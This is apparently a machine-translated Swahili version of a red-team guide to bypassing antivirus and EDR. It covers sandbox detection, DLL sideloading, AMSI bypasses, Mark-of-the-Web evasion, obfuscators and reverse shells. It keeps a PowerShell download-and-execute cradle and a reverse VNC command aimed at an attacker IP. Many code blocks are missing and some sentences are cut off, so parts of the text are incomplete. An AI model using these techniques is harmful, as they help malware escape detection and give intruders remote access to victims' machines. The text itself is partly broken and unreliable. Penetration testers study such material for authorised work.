Antivirus (AV) Bypass
This page was written by @m2rc_p!
AV Evasion Methodology
Hivi sasa, AV hutumia mbinu tofauti za kuangalia ikiwa faili ni ya uhalifu au la, kugundua kwa statiki, uchambuzi wa dynamic, na kwa EDRs za hali ya juu, uchambuzi wa tabia.
Static detection
Kugundua kwa statiki kunapatikana kwa kuweka alama kwenye nyuzi au safu za byte zinazojulikana kuwa za uhalifu katika binary au script, na pia kutoa taarifa kutoka kwa faili yenyewe (mfano: maelezo ya faili, jina la kampuni, saini za kidijitali, ikoni, checksum, n.k.). Hii inamaanisha kuwa kutumia zana za umma zinazojulikana kunaweza kukufanya ukamatwe kwa urahisi zaidi, kwani huenda zimechambuliwa na kuwekwa alama kama za uhalifu. Kuna njia kadhaa za kuzunguka aina hii ya kugundua:
Encryption
Ikiwa unashughulikia binary, hakutakuwa na njia kwa AV kugundua programu yako, lakini utahitaji aina fulani ya loader ili kufungua na kuendesha programu hiyo kwenye kumbukumbu.
Obfuscation
Wakati mwingine unachohitaji kufanya ni kubadilisha nyuzi fulani katika binary au script yako ili kuipita AV, lakini hii inaweza kuwa kazi inayochukua muda kulingana na kile unachojaribu kuficha.
Custom tooling
Ikiwa unaunda zana zako mwenyewe, hakutakuwa na saini mbaya zinazojulikana, lakini hii inachukua muda na juhudi nyingi.
Njia nzuri ya kuangalia dhidi ya kugundua kwa statiki ya Windows Defender ni ThreatCheck. Kimsingi inagawanya faili katika sehemu nyingi kisha inamwambia Defender kuchambua kila moja kwa kibinafsi, kwa njia hii, inaweza kukuambia ni zipi ambazo zimewekwa alama kama za uhalifu katika binary yako.
Ninapendekeza kwa nguvu uangalie hii YouTube playlist kuhusu AV Evasion ya vitendo.
Dynamic analysis
Uchambuzi wa dynamic ni wakati AV inakimbia binary yako katika sandbox na kuangalia shughuli za uhalifu (mfano: kujaribu kufungua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, n.k.). Sehemu hii inaweza kuwa ngumu kidogo kufanya kazi nayo, lakini hapa kuna mambo kadhaa unayoweza kufanya ili kuzuia sandboxes.
Sleep before execution Kutegemea jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kupita uchambuzi wa dynamic wa AV. AV zina muda mfupi sana wa kuchambua faili ili kusiwe na usumbufu kwa mtumiaji, hivyo kutumia usingizi mrefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes nyingi za AV zinaweza tu kupuuza usingizi kulingana na jinsi ilivyotekelezwa.
Checking machine's resources Kawaida Sandboxes zina rasilimali chache sana za kufanya kazi (mfano: < 2GB RAM), vinginevyo zinaweza kuharibu mashine ya mtumiaji. Unaweza pia kuwa mbunifu sana hapa, kwa mfano kwa kuangalia joto la CPU au hata kasi za mashabiki, si kila kitu kitawekwa katika sandbox.
Machine-specific checks Ikiwa unataka kulenga mtumiaji ambaye kituo chake kimeunganishwa kwenye eneo la "contoso.local", unaweza kufanya ukaguzi kwenye eneo la kompyuta ili kuona ikiwa inalingana na ile uliyotaja, ikiwa haifai, unaweza kufanya programu yako itoke.
Inageuka kuwa jina la kompyuta la Sandbox la Microsoft Defender ni HAL9TH, hivyo, unaweza kuangalia jina la kompyuta katika malware yako kabla ya kulipuka, ikiwa jina linalingana na HAL9TH, inamaanisha uko ndani ya sandbox ya defender, hivyo unaweza kufanya programu yako itoke.
Vidokezo vingine vizuri kutoka @mgeeky kwa kupambana na Sandboxes
Kama tulivyosema hapo awali katika chapisho hili, ztools za umma hatimaye zitagundulika, hivyo, unapaswa kujiuliza kitu:
Kwa mfano, ikiwa unataka kudondosha LSASS, je, unahitaji kweli kutumia mimikatz? Au unaweza kutumia mradi mwingine ambao haujulikani sana na pia unadondosha LSASS.
Jibu sahihi labda ni la pili. Kuchukua mimikatz kama mfano, huenda ni moja ya, ikiwa si kipande cha malware kinachowekwa alama zaidi na AVs na EDRs, wakati mradi wenyewe ni mzuri sana, pia ni ndoto mbaya kufanya kazi nayo ili kuzunguka AVs, hivyo angalia tu mbadala kwa kile unachojaribu kufikia.
Wakati unabadilisha payloads zako kwa ajili ya kuzuia, hakikisha unazima uwasilishaji wa sampuli kiotomatiki katika defender, na tafadhali, kwa kweli, USIWEKE KATIKA VIRUSTOTAL ikiwa lengo lako ni kufikia kuzuia kwa muda mrefu. Ikiwa unataka kuangalia ikiwa payload yako inagundulika na AV fulani, i-install kwenye VM, jaribu kuzima uwasilishaji wa sampuli kiotomatiki, na uijaribu huko hadi uridhike na matokeo.
EXEs vs DLLs
Kila wakati inavyowezekana, daima kipa kipaumbele kutumia DLLs kwa ajili ya kuzuia, katika uzoefu wangu, faili za DLL kwa kawaida huzuiliwa kidogo na kuchambuliwa, hivyo ni hila rahisi sana kutumia ili kuepuka kugunduliwa katika baadhi ya matukio (ikiwa payload yako ina njia yoyote ya kuendesha kama DLL bila shaka).
Kama tunavyoona katika picha hii, Payload ya DLL kutoka Havoc ina kiwango cha kugundua cha 4/26 katika antiscan.me, wakati payload ya EXE ina kiwango cha kugundua cha 7/26.
Sasa tutawaonyesha baadhi ya hila unazoweza kutumia na faili za DLL ili kuwa na usiri zaidi.
DLL Sideloading & Proxying
DLL Sideloading inatumia faida ya mpangilio wa utafutaji wa DLL unaotumiwa na loader kwa kuweka programu ya mwathirika na payload mbaya pamoja.
Unaweza kuangalia programu zinazoweza kuathirika na DLL Sideloading kwa kutumia Siofra na script ifuatayo ya powershell:
Amri hii itatoa orodha ya programu zinazoweza kuathiriwa na DLL hijacking ndani ya "C:\Program Files\" na faili za DLL wanazojaribu kupakia.
Ninapendekeza sana uchunguze programu zinazoweza kuathiriwa na DLL Hijackable/Sideloadable mwenyewe, mbinu hii ni ya siri sana ikiwa itafanywa vizuri, lakini ukitumia programu zinazojulikana za DLL Sideloadable, unaweza kukamatwa kwa urahisi.
Kuweka tu DLL mbaya yenye jina ambalo programu inatarajia kupakia, haitapakia mzigo wako, kwani programu inatarajia baadhi ya kazi maalum ndani ya DLL hiyo, ili kutatua tatizo hili, tutatumia mbinu nyingine inayoitwa DLL Proxying/Forwarding.
DLL Proxying inasambaza simu ambazo programu inafanya kutoka kwa proxy (na mbaya) DLL hadi DLL asilia, hivyo kuhifadhi kazi ya programu na kuwa na uwezo wa kushughulikia utekelezaji wa mzigo wako.
Nitakuwa nikitumia mradi wa SharpDLLProxy kutoka @flangvik
Hizi ndizo hatua nilizofuata:
Amri ya mwisho itatupa faili 2: kiolezo cha msimbo wa chanzo cha DLL, na DLL iliyobadilishwa jina.
Hizi ndizo matokeo:
Msimbo wetu wa shell (uliokodishwa na SGN) na DLL ya proxy wana kiwango cha Ugunduzi cha 0/26 katika antiscan.me! Ningesema hiyo ni mafanikio.
Ninapendekeza sana uangalie S3cur3Th1sSh1t's twitch VOD kuhusu DLL Sideloading na pia video ya ippsec ili kujifunza zaidi kuhusu kile tulichozungumzia kwa undani zaidi.
Freeze ni zana ya payload kwa ajili ya kupita EDRs kwa kutumia michakato iliyositishwa, syscalls za moja kwa moja, na mbinu mbadala za utekelezaji
Unaweza kutumia Freeze kupakia na kutekeleza msimbo wako wa shell kwa njia ya siri.
Kuepuka ni mchezo wa paka na panya, kile kinachofanya kazi leo kinaweza kugundulika kesho, hivyo usitegemee zana moja tu, ikiwa inawezekana, jaribu kuunganisha mbinu kadhaa za kuepuka.
AMSI (Msingi wa Skanning ya Anti-Malware)
AMSI ilianzishwa ili kuzuia "malware isiyo na faili". Awali, AV zilikuwa na uwezo wa kuskan faili kwenye diski, hivyo ikiwa ungeweza kwa namna fulani kutekeleza payloads moja kwa moja kwenye kumbukumbu, AV haingeweza kufanya chochote kuzuia hilo, kwani haikuwa na mwonekano wa kutosha.
Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows.
Udhibiti wa Akaunti ya Mtumiaji, au UAC (kuinua EXE, COM, MSI, au usakinishaji wa ActiveX)
PowerShell (scripts, matumizi ya mwingiliano, na tathmini ya msimbo wa dynamic)
Windows Script Host (wscript.exe na cscript.exe)
JavaScript na VBScript
Office VBA macros
Inaruhusu suluhisho za antivirus kuchunguza tabia ya script kwa kufichua maudhui ya script katika mfumo ambao haujaandikwa kwa siri na haujaeleweka.
Kukimbia IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
kutazalisha arifa ifuatayo kwenye Windows Defender.
Tazama jinsi inavyoweka amsi:
na kisha njia ya executable ambayo script ilikimbia, katika kesi hii, powershell.exe
Hatukuacha faili yoyote kwenye diski, lakini bado tulikamatwa kwenye kumbukumbu kwa sababu ya AMSI.
Kuna njia kadhaa za kuzunguka AMSI:
Obfuscation
Kwa kuwa AMSI inafanya kazi hasa na kugundua kwa statiki, hivyo, kubadilisha scripts unazojaribu kupakia inaweza kuwa njia nzuri ya kuepuka kugunduliwa.
Hata hivyo, AMSI ina uwezo wa kufichua scripts hata ikiwa ina tabaka kadhaa, hivyo obfuscation inaweza kuwa chaguo mbaya kulingana na jinsi inavyofanywa. Hii inafanya kuwa si rahisi kuepuka. Ingawa, wakati mwingine, unachohitaji kufanya ni kubadilisha majina kadhaa ya mabadiliko na utakuwa sawa, hivyo inategemea ni kiasi gani kitu kimewekwa alama.
AMSI Bypass
Kwa kuwa AMSI inatekelezwa kwa kupakia DLL kwenye mchakato wa powershell (pia cscript.exe, wscript.exe, nk), inawezekana kuingilia kati kwa urahisi hata ukiendesha kama mtumiaji asiye na mamlaka. Kutokana na kasoro hii katika utekelezaji wa AMSI, watafiti wamegundua njia kadhaa za kuepuka skanning ya AMSI.
Kulazimisha Kosa
Kulazimisha kuanzishwa kwa AMSI kufeli (amsiInitFailed) kutasababisha kwamba hakuna skanning itakayofanywa kwa mchakato wa sasa. Awali hii ilifunuliwa na Matt Graeber na Microsoft imeunda saini ili kuzuia matumizi makubwa.
Ilichukua mstari mmoja tu wa msimbo wa powershell kufanya AMSI isitumike kwa mchakato wa powershell wa sasa. Mstari huu umewekwa alama na AMSI yenyewe, hivyo mabadiliko fulani yanahitajika ili kutumia mbinu hii.
Hapa kuna AMSI bypass iliyobadilishwa niliyopata kutoka kwa Github Gist.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Memory Patching
Hii mbinu iligunduliwa awali na @RastaMouse na inahusisha kutafuta anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayohusika na kusanidi ingizo lililotolewa na mtumiaji) na kuandika upya na maagizo ya kurudisha msimbo wa E_INVALIDARG, kwa njia hii, matokeo ya uchunguzi halisi yatarudisha 0, ambayo inatafsiriwa kama matokeo safi.
Tafadhali soma https://rastamouse.me/memory-patching-amsi-bypass/ kwa maelezo zaidi.
Kuna mbinu nyingi nyingine zinazotumika kupita AMSI kwa kutumia powershell, angalia hii ukurasa na hii repo kujifunza zaidi kuhusu hizo.
Au hii script ambayo kupitia memory patching itafanya patch kila mpya ya Powersh
Obfuscation
Kuna zana kadhaa ambazo zinaweza kutumika ku obfuscate C# clear-text code, kuunda metaprogramming templates za kukusanya binaries au obfuscate compiled binaries kama vile:
InvisibilityCloak: C# obfuscator
Obfuscator-LLVM: Lengo la mradi huu ni kutoa toleo la wazi la LLVM suite ya kukusanya inayoweza kutoa usalama wa programu ulioimarishwa kupitia code obfuscation na kuzuia mabadiliko.
ADVobfuscator: ADVobfuscator inaonyesha jinsi ya kutumia lugha ya
C++11/14
kuunda, wakati wa kukusanya, msimbo uliofichwa bila kutumia zana yoyote ya nje na bila kubadilisha mkusanyiko.obfy: Ongeza safu ya operesheni zilizofichwa zinazozalishwa na mfumo wa metaprogramming wa C++ template ambao utaifanya maisha ya mtu anayetaka kuvunja programu kuwa magumu kidogo.
Alcatraz: Alcatraz ni obfuscator wa x64 binary ambaye anaweza kuficha aina mbalimbali za faili za pe ikiwa ni pamoja na: .exe, .dll, .sys
metame: Metame ni injini rahisi ya metamorphic code kwa ajili ya executable zisizo na mipaka.
ropfuscator: ROPfuscator ni mfumo wa kuficha msimbo kwa undani kwa lugha zinazoungwa mkono na LLVM kwa kutumia ROP (return-oriented programming). ROPfuscator inaficha programu katika kiwango cha msimbo wa assembly kwa kubadilisha maagizo ya kawaida kuwa ROP chains, ikizuia dhana yetu ya kawaida ya mtiririko wa kudhibiti wa kawaida.
Nimcrypt: Nimcrypt ni .NET PE Crypter iliyoandikwa kwa Nim
inceptor: Inceptor anaweza kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuziingiza
SmartScreen & MoTW
Huenda umeshuhudia skrini hii unaposhusha baadhi ya executable kutoka mtandao na kuzitekeleza.
Microsoft Defender SmartScreen ni mekanismu ya usalama iliyokusudiwa kulinda mtumiaji wa mwisho dhidi ya kuendesha programu zinazoweza kuwa na madhara.
SmartScreen inafanya kazi hasa kwa njia ya msingi wa sifa, ikimaanisha kwamba programu zisizokuwa za kawaida zinazoshushwa zitaanzisha SmartScreen na hivyo kuonya na kuzuia mtumiaji wa mwisho kutekeleza faili hiyo (ingawa faili hiyo bado inaweza kutekelezwa kwa kubofya More Info -> Run anyway).
MoTW (Mark of The Web) ni NTFS Alternate Data Stream yenye jina la Zone.Identifier ambayo huundwa kiotomatiki wakati wa kushusha faili kutoka mtandao, pamoja na URL ambayo ilishushwa kutoka.
Ni muhimu kutambua kwamba executable zilizosainiwa na cheti cha kuaminika hazitazindua SmartScreen.
Njia yenye ufanisi sana ya kuzuia payloads zako kupata Mark of The Web ni kwa kuzifunga ndani ya aina fulani ya kontena kama ISO. Hii inatokea kwa sababu Mark-of-the-Web (MOTW) haiwezi kutumika kwa volumes zisizo za NTFS.
PackMyPayload ni zana inayofunga payloads katika kontena za matokeo ili kuepuka Mark-of-the-Web.
Mfano wa matumizi:
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload
C# Assembly Reflection
Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.
Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
Fork&Run
Inahusisha kuanzisha mchakato mpya wa dhabihu, ingiza msimbo wako mbaya wa baada ya unyakuzi katika mchakato huo mpya, tekeleza msimbo wako mbaya na unapomaliza, uue mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unafanyika nje ya mchakato wetu wa Beacon implant. Hii ina maana kwamba ikiwa kitu katika hatua zetu za baada ya unyakuzi kitatokea vibaya au kikakamatwa, kuna uwezekano mkubwa wa implant yetu kuishi. Hasara ni kwamba una uwezekano mkubwa wa kukamatwa na Mikakati ya Tabia.
Inline
Ni kuhusu kuingiza msimbo wako mbaya wa baada ya unyakuzi katika mchakato wake mwenyewe. Kwa njia hii, unaweza kuepuka kuunda mchakato mpya na kuufanya ukaguliwe na AV, lakini hasara ni kwamba ikiwa kitu kitatokea vibaya na utekelezaji wa payload yako, kuna uwezekano mkubwa wa kupoteza beacon yako kwani inaweza kuanguka.
If you want to read more about C# Assembly loading, please check out this article https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ and their InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)
You can also load C# Assemblies from PowerShell, check out Invoke-SharpLoader and S3cur3th1sSh1t's video.
Using Other Programming Languages
Kama ilivyopendekezwa katika https://github.com/deeexcee-io/LOI-Bins, inawezekana kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kutoa mashine iliyoathirika ufikiaji wa mazingira ya tafsiri yaliyojinstalled kwenye sehemu ya SMB inayodhibitiwa na Mshambuliaji.
Kwa kuruhusu ufikiaji wa Binaries za Mfasiri na mazingira kwenye sehemu ya SMB unaweza kutekeleza msimbo wowote katika lugha hizi ndani ya kumbukumbu ya mashine iliyoathirika.
Repo inaonyesha: Defender bado inakagua skripti lakini kwa kutumia Go, Java, PHP n.k tuna uwezo zaidi wa kupita saini za statiki. Kujaribu na skripti za shell za kurudi zisizo na ufichuzi katika lugha hizi kumethibitishwa kuwa na mafanikio.
Advanced Evasion
Evasion ni mada ngumu sana, wakati mwingine unapaswa kuzingatia vyanzo vingi tofauti vya telemetry katika mfumo mmoja tu, hivyo ni karibu haiwezekani kubaki bila kugundulika kabisa katika mazingira yaliyoendelea.
Kila mazingira unayokabiliana nayo yatakuwa na nguvu na udhaifu wake.
Ninawashauri sana uende uangalie hotuba hii kutoka @ATTL4S, ili kupata ufahamu wa mbinu za juu za Evasion.
hii pia ni hotuba nyingine nzuri kutoka @mariuszbit kuhusu Evasion kwa Kina.
Old Techniques
Check which parts Defender finds as malicious
You can use ThreatCheck which will remove parts of the binary until it finds out which part Defender is finding as malicious and split it to you. Another tool doing the same thing is avred with an open web offering the service in https://avred.r00ted.ch/
Telnet Server
Hadi Windows10, Windows zote zilikuja na seva ya Telnet ambayo unaweza kufunga (kama msimamizi) kwa kufanya:
Fanya iwe anzishwe wakati mfumo unapoanzishwa na ikimbie sasa:
Badilisha bandari ya telnet (stealth) na kuzima firewall:
UltraVNC
Pakua kutoka: http://www.uvnc.com/downloads/ultravnc.html (unataka pakua bin, si usanidi)
KATIKA HOST: Tekeleza winvnc.exe na uweke server:
Wezesha chaguo Disable TrayIcon
Weka nenosiri katika VNC Password
Weka nenosiri katika View-Only Password
Kisha, hamasisha binary winvnc.exe na faili mpya iliyoundwa UltraVNC.ini ndani ya mhasiriwa
Muunganisho wa kurudi
Mshambuliaji anapaswa kutekeleza ndani ya host yake binary vncviewer.exe -listen 5900
ili iwe tayari kukamata muunganisho wa VNC wa kurudi. Kisha, ndani ya mhasiriwa: Anza daemon ya winvnc winvnc.exe -run
na endesha winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
ONYO: Ili kudumisha usiri huwezi kufanya mambo machache
Usianze
winvnc
ikiwa tayari inaendesha au utaanzisha popup. angalia ikiwa inaendesha kwatasklist | findstr winvnc
Usianze
winvnc
bilaUltraVNC.ini
katika saraka sawa au itasababisha dirisha la usanidi kufungukaUsikimbie
winvnc -h
kwa msaada au utaanzisha popup
GreatSCT
Pakua kutoka: https://github.com/GreatSCT/GreatSCT
Ndani ya GreatSCT:
Sasa anzisha lister na msfconsole -r file.rc
na tekeleza xml payload na:
Mlinzi wa sasa atamaliza mchakato haraka sana.
Kuunda shell yetu ya nyuma
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Shell ya Kwanza ya C#
Ili kuunda, tumia:
Tumia pamoja na:
C# kutumia kompyuta
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Kupakua na kutekeleza kiotomatiki:
Orodha ya obfuscators ya C#: https://github.com/NotPrab/.NET-Obfuscator
C++
Kutumia python kwa mfano wa kujenga injectors:
Zana nyingine
More
Last updated